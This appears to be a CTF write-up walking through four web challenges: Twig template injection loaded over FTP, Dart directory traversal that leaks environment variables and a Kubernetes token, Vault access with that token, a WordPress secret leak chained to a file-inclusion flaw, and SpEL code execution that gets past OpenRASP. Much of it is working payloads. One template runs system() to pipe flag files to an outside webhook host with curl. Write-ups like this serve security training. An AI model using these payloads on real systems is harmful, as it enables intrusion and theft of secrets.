Dear Admin 🩸
Capture the admin's heart with your poetic words, and they might share their secrets in return. 🎭Author: h0j3n
We were given a website where we could insert a poem and see it rendered in an .html
file. We were also provided with the source code.
From the source code, we can see that it's using PHP and the Twig templating engine.
In the index.php
, we can see that the page is calling admin.php
and rendering our input in the admin_review.twig
template via renderTemplate()
.
// index.php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['poem'])) {
$poem = trim($_POST['poem']);
if (empty($poem)) {
$_SESSION['message'] = 'Please enter a poem.';
$_SESSION['status'] = 'error';
} else {
$ch = curl_init('http://localhost/admin.php?poem=' . urlencode($poem));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// admin.php
if (!isset($_GET['poem'])) {
http_response_code(400);
echo json_encode([
'status' => 'error',
'message' => 'Invalid request'
]);
exit;
}
$poem = trim($_GET['poem']);
$uniqueId = uniqid('poem_', true);
$evaluation = [
'length' => strlen($poem),
'lines' => count(explode("\n", $poem)),
'words' => str_word_count($poem)
];
$isAcceptable = $evaluation['words'] >= 10 && $evaluation['lines'] >= 3;
try {
if (!function_exists('renderTemplate')) {
throw new Exception("renderTemplate function is not defined");
}
if ($isAcceptable) {
$htmlContent = renderTemplate('admin_review', [
'poem' => [
'content' => htmlspecialchars($poem),
'id' => htmlspecialchars($uniqueId),
'evaluation' => [
'length' => (int)$evaluation['length'],
'lines' => (int)$evaluation['lines'],
'words' => (int)$evaluation['words']
],
'status' => 'pending',
'submitted_at' => date('Y-m-d H:i:s')
]
]);
Another interesting thing we found is this register_argc_argv=On
configuration in the Dockerfile.
RUN echo "register_argc_argv=On" > /usr/local/etc/php/conf.d/register-argc-argv.ini
But what does register_argc_argv=On
really do? This is where I started to Google for a CVE/research related to register_argc_argv
.
I stumbled upon this article by Assetnote, which explains how the option register_argc_argv=On
can allow malicious template to be loaded in CraftCMS.
Looking at the challenge we have, we do have a similar setup to the CraftCMS article.
This PHP code below is designed to process command-line interface (CLI) options and configure a Twig template loader based on user input or fallback to a default configuration.
//config.php
$templatePath = getCliOption('templatesPath');
if ($templatePath) {
try {
$templatePath = validatePath($templatePath);
$loader = new \Twig\Loader\ArrayLoader([
'dynamic_template' => $templatePath
]);
$twig = new \Twig\Environment($loader, [
'auto_reload' => true
]);
} catch (InvalidArgumentException $e) {
die('Invalid template file: ' . $e->getMessage());
}
} else {
$loader = new \Twig\Loader\FilesystemLoader(__DIR__ . '/templates');
$twig = new \Twig\Environment($loader, [
'auto_reload' => true
]);
}
function getCliOption($name) {
if (!ini_get('register_argc_argv')) {
return null;
}
if (!empty($_SERVER['argv'])) {
foreach ($_SERVER['argv'] as $i => $arg) {
$arg = urldecode($arg);
if ($arg === $name || $arg === "-$name" || $arg === "--$name") {
return isset($_SERVER['argv'][$i + 1]) ? urldecode($_SERVER['argv'][$i + 1]) : true;
}
if (strpos($arg, "$name=") === 0 ||
strpos($arg, "-$name=") === 0 ||
strpos($arg, "--$name=") === 0) {
$value = substr($arg, strpos($arg, '=') + 1);
return urldecode($value);
}
}
}
return null;
}
In the Assetnote article, it says that when register_argc_argv=On,
PHP will take argv
from the query string, separated by spaces.
GET /test.php?foo+bar+baz
array(3) {
[1]=>
string(3) "foo"
[2]=>
string(3) "bar"
[3]=>
string(3) "baz"
}
With this register_argc_argv
turned on, we can actually try to inject stuff into the CLI mode by passing it into the query params.
In this challenge, the CLI option that we want to control is the templatesPath
which is based on the code above. If we control the templatesPath
CLI option, we can probably load any Twig template that we want!
Now that we know that templatesPath
is controllable via query params. How do we actually load a template through that while passing validation?
Here are some of the small validation checks it does. We need to somehow make file_exists
become true
.
if ($templatePath) {
try {
$templatePath = validatePath($templatePath);
function validatePath($path) {
if (!file_exists($path . "/admin_review.twig")) {
throw new InvalidArgumentException("Template file does not exist: $path");
}
$content = @file_get_contents($path . "/admin_review.twig");
if ($content === false) {
throw new InvalidArgumentException("Cannot read template file: $path");
}
checkTemplateContent($content, $path . "/admin_review.twig", 'template');
return $content;
}
In the Assetnote article, it says that we can use ftp://
protocol to make file_exists
work! Which implies, that we might need to host our own FTP server.
Now we know that we can load any template via ftp://
.
It seems pretty straightforward so far, but there’s a simple block to make sure your template doesn’t have anything malicious. This can be easily bypassed with simple string concatenation + map.
function checkTemplateContent($content, string $path, string $type): void {
$forbidden = [
'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open',
'assert', 'pcntl_exec', 'eval', 'call_user_func', 'ReflectionFunction','filter','~'
];
foreach ($forbidden as $word) {
if (stripos($content, $word) !== false) {
http_response_code(403);
die("Oh no! 😭 You tried to use the forbidden word '$word'! The admin is very sad now... 😢");
}
}
}
Example bypass:
{% set cmd = ['s','y','s','t','e','m']|join('') %}
{{ ['whoami'] | map(cmd) }}
Chaining what we have together, we will have the solution.
Solution
Start by hosting your own FTP server. I won’t detail the steps here, but you can use a cloud instance or self hosted ngrok tunnel.
In my case, I used Python package pyftpdlib
.
pip3 install pyftpdlib
python3 -m pyftpdlib -p 2121 -w
We want to host this malicious template code which is named as admin_twig.php
in the FTP server. This template code below will call system()
, cat the flag and send it to our webhook.
{% set cmd = ['s','y','s','t','e','m']|join('') %}
{{ ['cat /flag* | curl -X POST -d @- https://webhook.site/'] | map(cmd) }}
The final request to be sent to index.php
should look like this:
poem=Roses+are+red%0AViolets+are+blue%0ASugar+is+sweet+--templatesPath=ftp://anonymous:@<hostedserverip>:2121/
Sending the request above, will fetch you the flag and send it to your webhook/something similar.
Flag: wgmy{eae236d68a96aed8af76923357728478}
Warmup 2 🩸
Good morning everyone (GMT+8), let's do some warmup!Check out dart.wgmy @ 13.76.138.239
P.S. It is the same file as
Secret 2
.Author: zx
In this challenge we were given an instance of k3s
hosting a Dart
web application and a Hashicorp vault.
This challenge is very straightforward, what the challenge wants us to do is somehow exfiltrate the environment variables, as that is where the flag is located.
# dart.values.yaml
ingress:
enabled: true
className: traefik
annotations:
traefik.ingress.kubernetes.io/router.middlewares: default-ratelimit@kubernetescrd
hosts:
- host: dart.wgmy
paths:
- path: /
pathType: Prefix
env:
WGMY_FLAG: flag{test}
The Dart
web app is running Jaguar
and the code is very simple and doesn’t require much digging.
// dart.dart
import 'package:jaguar/jaguar.dart';
void main() async {
final server = Jaguar(port: 80);
server.staticFiles('/*', '/app/public');
server.log.onRecord.listen(print);
await server.serve(logRequests: true);
}
Looking into the issues, it seems like there is a directory traversal vulnerability for static files in the repository issues.
Solution
Now that we know file read is possible, what we need is to read the /proc/self/environ
as that is where the environment variables are usually stored.
Final payload:
curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc/self/environ" --output env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=dart-5cc994657c-jr6gkWGMY_FLAG=wgmy{1ab97a2708d6190bf882c1acc283984a}KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_SERVICE_PORT_HTTPS=443DART_SERVICE_HOST=10.43.248.152DART_PORT_80_TCP_PROTO=tcpKUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1DART_PORT=tcp://10.43.248.152:80DART_PORT_80_TCP=tcp://10.43.248.152:80DART_SERVICE_PORT_HTTP=80DART_PORT_80_TCP_PORT=80DART_PORT_80_TCP_ADDR=10.43.248.152KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PORT=443DART_SERVICE_PORT=80HOME=/%
Flag: wgmy{1ab97a2708d6190bf882c1acc283984a}
Secret 2 🩸
Can you get the secret this time?Check out nginx.wgmy @ 13.76.138.239
P.S. It is the same file as
Warmup 2
.Author: zx
This is a continuation from previous Warmup 2 challenge.
Seeing inside the source code, the flag is stored inside a vault.
# vault.values.yaml
server:
dev:
enabled: true
extraEnvironmentVars:
WGMY_FLAG: flag{test}
postStart:
- /bin/sh
- -c
- >-
until vault status; do sleep 1; done
&& vault secrets enable -path=kv kv-v2
&& vault kv put kv/flag flag="$WGMY_FLAG"
&& vault auth enable kubernetes
&& vault write auth/kubernetes/config kubernetes_host="https://$KUBERNETES_PORT_443_TCP_ADDR:443"
&& echo 'path "kv/data/flag" { capabilities = ["read"] }' | vault policy write wgmy -
&& vault write auth/kubernetes/role/wgmy bound_service_account_names=* bound_service_account_namespaces=* token_policies=wgmy token_ttl=1s
injector:
enabled: false
Now looking into the Nginx config, it seems like we can probably access this vault through /vault/proxy_pass
only if we are coming from the allowed IP ranges.
But the PROBLEM is most of the IP ranges is not in the public IP range, it is all private. Which makes this challenge supposed to be much harder to solve.
ingress:
enabled: true
className: traefik
annotations:
traefik.ingress.kubernetes.io/router.middlewares: default-ratelimit@kubernetescrd
hosts:
- host: nginx.wgmy
paths:
- path: /
pathType: Prefix
volumes:
- name: conf
configMap:
name: '{{ include "nginx.fullname" . }}'
volumeMounts:
- name: conf
mountPath: /etc/nginx/conf.d
readOnly: true
configMap:
enabled: true
data:
default.conf: |
set_real_ip_from 10.42.0.0/16;
real_ip_header X-Real-IP;
server {
listen 80 reuseport;
server_name _;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
location /vault/ui/ {
deny all;
}
location /vault/ {
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
proxy_pass http://vault.vault:8200/;
}
}
We know that (based on docs) if we can access the /vault/
endpoint, we can login and get JWT token for us to access the actual vault inside.
Reference: https://developer.hashicorp.com/vault/docs/auth/kubernetes#via-the-api
To login to the vault, we will need a service account token, which is easily obtainable with the file read we have earlier.
The next step is to use that service account token to request us a client token. With this client token retrieved, we are able to access the flag
Key-Value (KV) secret.
Solution
First step, get the service account token via the file read in Jaguar web app previously. Save it as token.txt
for example.
curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar/run/secrets/kubernetes.io/serviceaccount/token" --output token.txt
Next step, you need to get the client token quickly (because the expiry time is 1 sec) and use it on the vault.
VAULT_TOKEN=$(curl -s -X POST "http://nginx.wgmy/vault/v1/auth/kubernetes/login" \
-H "Content-Type: application/json" \
-d @- <<EOF | jq -r '.auth.client_token'
{
"jwt": "$(cat token.txt)",
"role": "wgmy"
}
EOF
)
curl -s "http://nginx.wgmy/vault/v1/kv/data/flag" \
-H "X-Vault-Token: ${VAULT_TOKEN}"
{"request_id":"1ebc6f15-3cf5-abf9-da1b-8241c505c733","lease_id":"","renewable":false,"lease_duration":0,"data":{"data":{"flag":"wgmy{1bc665d324c5bd5e7707909d03217681}"},"metadata":{"created_time":"2024-12-28T17:54:01.255537108Z","custom_metadata":null,"deletion_time":"","destroyed":false,"version":1}},"wrap_info":null,"warnings":null,"auth":null,"mount_type":"kv"}
Flag will be in the response above.
wgmy{1bc665d324c5bd5e7707909d03217681}
WordMarket 🩸
I’ve set up a WordPress eCommerce site for a client. Can you check if it’s secure enough for production? Give it a look and see if anything stands out.Author: h0j3n
We were given a simple Wordpress e-commerce instance + and source code for it.
Inside the source code, we can see that it has two plugins. cities-shipping-zones-for-woocommerce
and wgmy-functions
.
The wgmy-functions.php
looks particulary interesting to look at because it seems to be a custom-made plugin and very small in size.
<?php
/**
* Plugin Name: Wargames.MY Functions
* Plugin URI: https://wargames.local/wgmy-functions/
* Description: WooCommerce plugin only for Wargames Users
* Version: 1.0.1
* Author: h0j3n
*/
add_action( 'rest_api_init', function () {
register_rest_route( 'wgmy/v1', '/add_user', array(
'methods' => 'POST',
'callback' => 'user_creation_menu',
'permission_callback' => '__return_true',
) );
} );
function user_creation_menu(){
if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) {
if (get_option('wgmy_secret') == $_POST["secret"]){
$login = sanitize_user($_POST['login']);
$password = sanitize_text_field($_POST['password']);
$email = sanitize_email($_POST['email']);
$role = sanitize_text_field($_POST['role']);
if (in_array($role, array("shop_manager", "customer", "subscriber"))) {
$user_id = wp_create_user($login, $password, $email);
if (is_wp_error($user_id)) {
$result['message'] = $user_id->get_error_message();
echo json_encode($result);
} else {
$user = new WP_User($user_id);
$user->set_role($role);
$result['message'] = 'User created successfully!';
$result['user_id'] = $user_id;
echo json_encode($result);
}
} else {
$result['message'] = 'Only shop_manager, customer, and subscriber roles are allowed.';
echo json_encode($result);
}
}
else {
$result['message'] = 'Invalid secret provided.';
echo json_encode($result);
}
} else {
$result['message'] = 'Required fields: role, login, password, email, and secret.';
echo json_encode($result);
}
}
add_action("wp_ajax_get_config", "get_config");
add_action("wp_ajax_nopriv_get_config", "get_config");
function get_config(){
if (isset($_POST["switch"]) && $_POST["switch"] === "1") {
$secret_value = get_option('wgmy_secret');
if ($secret_value) {
echo json_encode(array('secret' => $secret_value));
} else {
echo json_encode(array('error' => 'Secret not found.'));
}
}
}
Taking a look at the code above, this particular code inside the wgmy-functions.php
looks very interesting. It allows us to add a user by having the correct secret
.
// wgmy-functions.php
add_action( 'rest_api_init', function () {
register_rest_route( 'wgmy/v1', '/add_user', array(
'methods' => 'POST',
'callback' => 'user_creation_menu',
'permission_callback' => '__return_true',
) );
} );
function user_creation_menu(){
if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) {
if (get_option('wgmy_secret') == $_POST["secret"]){
$login = sanitize_user($_POST['login']);
$password = sanitize_text_field($_POST['password']);
$email = sanitize_email($_POST['email']);
$role = sanitize_text_field($_POST['role']);
if (in_array($role, array("shop_manager", "customer", "subscriber"))) {
$user_id = wp_create_user($login, $password, $email);
if (is_wp_error($user_id)) {
$result['message'] = $user_id->get_error_message();
echo json_encode($result);
} else {
$user = new WP_User($user_id);
$user->set_role($role);
$result['message'] = 'User created successfully!';
$result['user_id'] = $user_id;
echo json_encode($result);
}
} else {
$result['message'] = 'Only shop_manager, customer, and subscriber roles are allowed.';
echo json_encode($result);
}
}
else {
$result['message'] = 'Invalid secret provided.';
echo json_encode($result);
}
} else {
$result['message'] = 'Required fields: role, login, password, email, and secret.';
echo json_encode($result);
}
}
But… how do we get the secret? Scrolling down, this function below seems to be able to give us the secret
.
// wgmy-functions.php
add_action("wp_ajax_get_config", "get_config");
add_action("wp_ajax_nopriv_get_config", "get_config");
function get_config(){
if (isset($_POST["switch"]) && $_POST["switch"] === "1") {
$secret_value = get_option('wgmy_secret');
if ($secret_value) {
echo json_encode(array('secret' => $secret_value));
} else {
echo json_encode(array('error' => 'Secret not found.'));
}
}
}
-
add_action("wp_ajax_get_config", "get_config");
registers theget_config
function for logged-in users. -
add_action("wp_ajax_nopriv_get_config", "get_config");
registers the same function for unauthenticated users (non-logged-in). -
When a request is sent to
/wp-admin/admin-ajax.php?action=get_config
with theswitch
parameter set to1
, theget_config
function is executed.
Knowing this, we can easily get the secret.
Now that we know how to get the secret, we can use the add user function earlier to create our own account. This set us up for the first initial foothold into the application!
Without thinking too much, likely the next exploitation medium will be somewhere inside the ities-shipping-zones-for-woocommerce
plugin which requires a valid authenticated user.
Based on where the flag is located (/flag.php
), we can try to look for RCE or LFI/LFR primitive in the plugin.
COPY plugins/flag.php /flag.php
Taking a look at the code of cities-shipping-zones-for-woocommerce
plugin, we can see that there’s few include()
being used. This seems like potential LFI/LFR sink.
This particular lines of code is interesting and easily accessible from any authenticated user.
// L-467
/**
* Sanitize the locations bulk edit option
* @param mixed $value
* @param mixed $option
* @return mixed
*/
public function wc_sanitize_option_wc_csz_set_zone_locations( $value, $option ) {
if ( ! empty( $value ) && ! empty( $_POST['wc_csz_countries_codes'] ) && ! empty( $_POST['wc_csz_set_zone_country'] ) && ! empty( $_POST['wc_csz_set_zone_id'] ) ) {
// here looks juicy
include( 'i18n/cities/' . $_POST['wc_csz_set_zone_country'] . '.php' );
-
Condition Check: Ensures certain
$_POST
keys are not empty (wc_csz_countries_codes
,wc_csz_set_zone_country
,wc_csz_set_zone_id
). -
Dynamic File Inclusion: Includes a file dynamically based on
$_POST['wc_csz_set_zone_country']
.
On further testing, $_POST['wc_csz_set_zone_country']
is actually user controllable! This sets us up for the final chain on the exploit.
Solution
Now let’s start by piecing together what we have.
First, we need to get the secret from admin_ajax
by sending switch=1
curl -X POST -d "switch=1" "http://46.137.193.2/wp-admin/admin-ajax.php?action=get_config"
{"secret":"owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"}
Now that we have gotten the secret, we can create any user using the previous function!
curl -X POST "http://46.137.193.2/wp-json/wgmy/v1/add_user" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "role=shop_manager&login=myuser&password=SecureP@ss123&email=myemail@example.com&secret=owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"
{"message":"User created successfully!","user_id":3}
With this, we are able to login into the Wordpress.
The next step is to go into Woocommerce settings, and on the far right side there's cities shipping zones
tab. Prepare Burp interception, fill in all the blanks and click on save changes.
Set the wc_csz_set_zone_country
value to ../../../../../../../../flag
and send the request.
You will get the flag in the response body.
Flag: wgmy{7beb8af77b68e7d8c68170b1cc2c0e91}
Wizard Chamber (Unsolved)
Can you craft the right incantation to reveal the hidden flag?Author: h0j3n
I didn’t manage to solve this during the competition due to serious skill issue.
In this challenge, we were given a website which allows us to run any SpEL (Spring Expression Language) code.
Looking into the source code, it seems to be blocking a lot of things before running the expression we give.
@PostMapping("/cast")
public String castSpell(@RequestParam("spell") String spell, Model model) {
// WAF
if (spell.contains("ProcessBuilder") ||
spell.contains("getClass") ||
spell.contains("Runtime") ||
spell.contains("java") ||
spell.contains("file") ||
spell.contains("new") ||
spell.contains("T(") ||
spell.contains("#")) {
return "redirect:/block";
}
try {
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(spell);
Object result = exp.getValue();
model.addAttribute("result", result);
} catch (Exception e) {
model.addAttribute("result", "The spell failed: " + e.getMessage());
}
return "index";
}
Though all of the above, can be easily bypassed using string concatenation method or by using spaces in certain place like T(
becomes T (
.
The actual problem lies in OpenRASP, which is WAF that blocks any malicious attempts in the Java Runtime itself. This is some serious stuff we’re talking.
Easy and normal methods should work if there’s no OpenRASP in place. But now that we have OpenRASP, this payload below is blocked!
''.class.getSuperclass().class.forName('ja'+'va.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.class).invoke(''.class.getSuperclass().class.forName('ja'+'va.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'id')
For this challenge, we found an article reference here which shows how can we bypass OpenRASP by loading our own custom-made class.
T(org.springframework.cglib.core.ReflectUtils).defineClass('CLASSNAME',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('CLASSB64'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
My mistake at this time was relying specifically on the sun.misc
base64 decoder error. In which I tried to fix it so many times. I even tried using normal Java base64 library java.util.Base64
but I probably used it the wrong way (because a friend of mine solved it using this way).
After the CTF, the author shared with me his solution. The base64 decoder he used was the org.springframework.util.Base64Utils
, which also does the same job.
Solution
Now that we know we can load our own class and bypass the restrictions imposed by the app and OpenRASP, we can easily craft our own exploit!
This is my own custom-made class to read from every file in /
and return it in result
. Save this file below as EvilClass.java
then run javac EvilClass.java
, which will then output it as EvilClass.class
public class EvilClass {
public static String result;
static {
StringBuilder contentBuilder = new StringBuilder();
try {
java.io.File rootDir = new java.io.File("/");
java.io.File[] files = rootDir.listFiles();
if (files != null) {
for (java.io.File file : files) {
try {
if (file.isFile() && file.canRead()) {
contentBuilder.append(java.nio.file.Files.readString(file.toPath()));
}
} catch (Exception ignored) {
}
}
}
} catch (Exception ignored) {
}
result = contentBuilder.toString();
}
}
Next thing is to convert the EvilClass.class
to b64.
base64 -i EvilClass.class
Modify the payload from the article abit to match our class just now. Put in the base64 encoded class inside decodeFromString()
, along with the class name.
T (org.springframework.cglib.core.ReflectUtils).defineClass(
'EvilClass',
T (org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADcAPgoAEQAdBwAeCgACAB0HAB8IACAKAAQAIQoABAAiCgAEACMKAAQAJAoABAAlCgAmACcKAAIAKAcAKQoAAgAqCQAQACsHACwHAC0BAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAUABUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEvaW8vRmlsZQEAAS8MABQALwwAMAAxDAAyADMMADQAMwwANQA2BwA3DAA4ADkMADoAOwEAE2phdmEvbGFuZy9FeGNlcHRpb24MADwAPQwAEgATAQAJRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAD1tMamF2YS9pby9GaWxlOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7AQAGaXNGaWxlAQADKClaAQAHY2FuUmVhZAEABnRvUGF0aAEAFigpTGphdmEvbmlvL2ZpbGUvUGF0aDsBABNqYXZhL25pby9maWxlL0ZpbGVzAQAKcmVhZFN0cmluZwEAKChMamF2YS9uaW8vZmlsZS9QYXRoOylMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7ACEAEAARAAAAAQAJABIAEwAAAAIAAQAUABUAAQAWAAAAHQABAAEAAAAFKrcAAbEAAAABABcAAAAGAAEAAAABAAgAGAAVAAEAFgAAAPoAAwAIAAAAZbsAAlm3AANLuwAEWRIFtwAGTCu2AAdNLMYAQSxOLb42BAM2BRUFFQSiADEtFQUyOgYZBrYACJkAGBkGtgAJmQAQKhkGtgAKuAALtgAMV6cABToHhAUBp//OpwAETCq2AA6zAA+xAAIAMQBOAFEADQAIAFkAXAANAAIAFwAAADoADgAAAAUACAAHABIACAAXAAoAGwALADEADQBBAA4ATgARAFEAEABTAAsAWQAVAFwAFABdABcAZAAYABkAAAAzAAf/ACQABgcAAgcABAcAGgcAGgEBAAD8ACkHAARCBwAN+gAB/wAFAAEHAAIAAEIHAA0AAAEAGwAAAAIAHA=='),
T (org.springframework.util.ClassUtils).getDefaultClassLoader()
).getField('result').get(null)
Sending the above payload, will get you the flag.
Flag: wgmy{d409e3cc65fd8e1d89a9d226efad3a10}